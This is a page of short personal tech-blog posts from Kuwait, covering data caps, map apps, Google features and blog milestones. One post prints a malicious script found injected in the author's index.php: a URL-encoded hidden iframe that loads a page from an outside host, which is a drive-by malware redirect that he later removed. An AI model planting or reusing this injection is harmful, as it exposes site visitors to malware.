Guess What? Spelling Matters

26 Sep 2011  No Comments

Remember that email that circulated the net a few years back? That stated that spelling doesn’t matter as long as the first and last letters are correct? The email goes like this:

Aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn’t mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe.

Well, it turns out that it has nothing to do with Cambridge University and spelling does matter as this video explains:

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Photorealistic Maps

30 Aug 2011  No Comments

Nokia Maps

The image above of the “Big Ben” and the “House Of Parliament” is a from a maps application not a 3D rendering program.

Nokia’s approach to 3D is just absolutely amazing I recommend that everyone should go and check it out. You will need to install a browser plug-in for the website to work but its worth it.

After visiting the site just click on the 3D icon on the top right. The website is still in beta and there is just a handful of cities to browse.

Nokia Maps

And Thats Why I Love Google Instant

16 Aug 2011  2 Comments

Google Instant Arabic to English

I forgot my keyboard on Arabic while typing a search query.I didn’t notice it till I finished typing. But after looking at the search results I realized that it had translated my Arabic search term to english by exchanging the arabic letters with the english ones on an english keyboard. Genius Google.

Hey Kuwaiti ISP’s I Download “Legally” Over 30GB’s a Day and Here is My Proof

7 Jul 2011  2 Comments

Kuwaiti ISP suddenly implemented a Fair Access Policy (FAP) a few weeks ago that caught a lot of people by surprise. Nobody agreed to this when they first signed a 12 months deal (15 months in my case) and you cant just change what your terms of service in mid contract , even if one of your clauses in your terms of service is “changing the terms of service without prior knowledge” , because thats freaking stupid. So I’m basically signing that you might downgrade my speed from 8mb to 128Kbps just because you can? I don’t think so.

KEMS’s Facebook page operator also used the word “Abusers” to define the people that use too much data by pirating applications and movies as he says. If he truly thinks that then my friend you are misinformed. I can legally download applications movies and tv shows and also pass the stupid CAP that is implemented. What make you think that illegal means we are hogging more bandwidth than legal ones?

I have a number of itunes season passes that can also easily pass the cap as I “BOUGHT” i.e. with my own money, more than 30 HD season passes.

Using steam is also a bandwidth killer. I bought recently a number of games during steams summer sale where they have a number of games each day that are on sale for 24 hours. after BUYING the games that I really wanted/liked/didn’t own on a PC, I realized that only by downloading those games that I PURCHASED I would pass the stupid cap.

I also didn’t talk about updating my PC and 3 laptops, updating my apps on my 2 iphones, 2 ipads, 3 android phones. Updating Navigon on an iOS device is almost 2GB by itself not counting other applications or any other activities like downloading podcasts and watching HD youtube which is FREE the last time I checked.

There is an online bloggers campaign that me and countless of other Kuwaiti bloggers have joined that is against internet capping of any kind. [Link]

Viva la revolucion

Myfav.es – Homepage Replacment

24 May 2011  3 Comments

If you are the kind of user that the default single homepage doesn’t cut it for you you might want to give Myfa.es a look. I remember when Marzouq first wrote about the services when it used to be called fav4 and you only could have 4 icons/shortcuts from a handful of selections.

A few months later fav4 was given an overhaul and now is known as Myfav.es, where the number of the shortcuts/icons increased significantly. You can also add your own pages and edit existing ones. Its been my homepage for a while now and love it.

Myfav.es

April Fool’s?!

1 Apr 2011  3 Comments

Uptill1

At first, that was what I thought. Because it is the1st of April I thought it was just a prank by Google, as I only get the message above if I visit my site using Chrome.

But after digging through  a bit, it seems that my “index.php” file had the following script that triggered that warning.

< script >
enc = "%3Ciframe%20width%3D1%20height%3D1%20border%3D0%  20frameborder%3D0%20src%3D%27http%3A//trafusa.in/info/in.cgi%3F5% 27%3E%3C/iframe%3E";
dec = unescape(enc);
document.write(dec);
< /script >

After removing that I could visit the site without seeing the warning.

I have no idea how long that code was there or even of its important, but the site seems to work properly without it.

Google Celebrates With Kuwait

25 Feb 2011  1 Comment

Google

Google’s homepage has a Kuwaiti theme to it today.

Happy Holidays Kuwait

Watching The Games

16 Oct 2010  3 Comments

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This is how I watched todays games using the online subscription and utilizing the bandwidth that  I‘ve got.

Waiting for Chelsea’s game next.

My 1000th Post

1 Jun 2010  10 Comments

This is post number 1000, it took me over 2 years to get here. My first post was on January 1st of ’08 for this blog, back where it was more tech centric. hope you guys enjoying reading the blog as I’m enjoying writing it.

Up Till One is on “Kuwait Blogs” iPhone App

7 May 2010  8 Comments


Mark just updated his Kuwait Blogs app for the iphone, and with the new update he included our blog in it.
The app now has a selection of 16 Kuwaiti blogs.

Thanks Mark, Yo Da Man.


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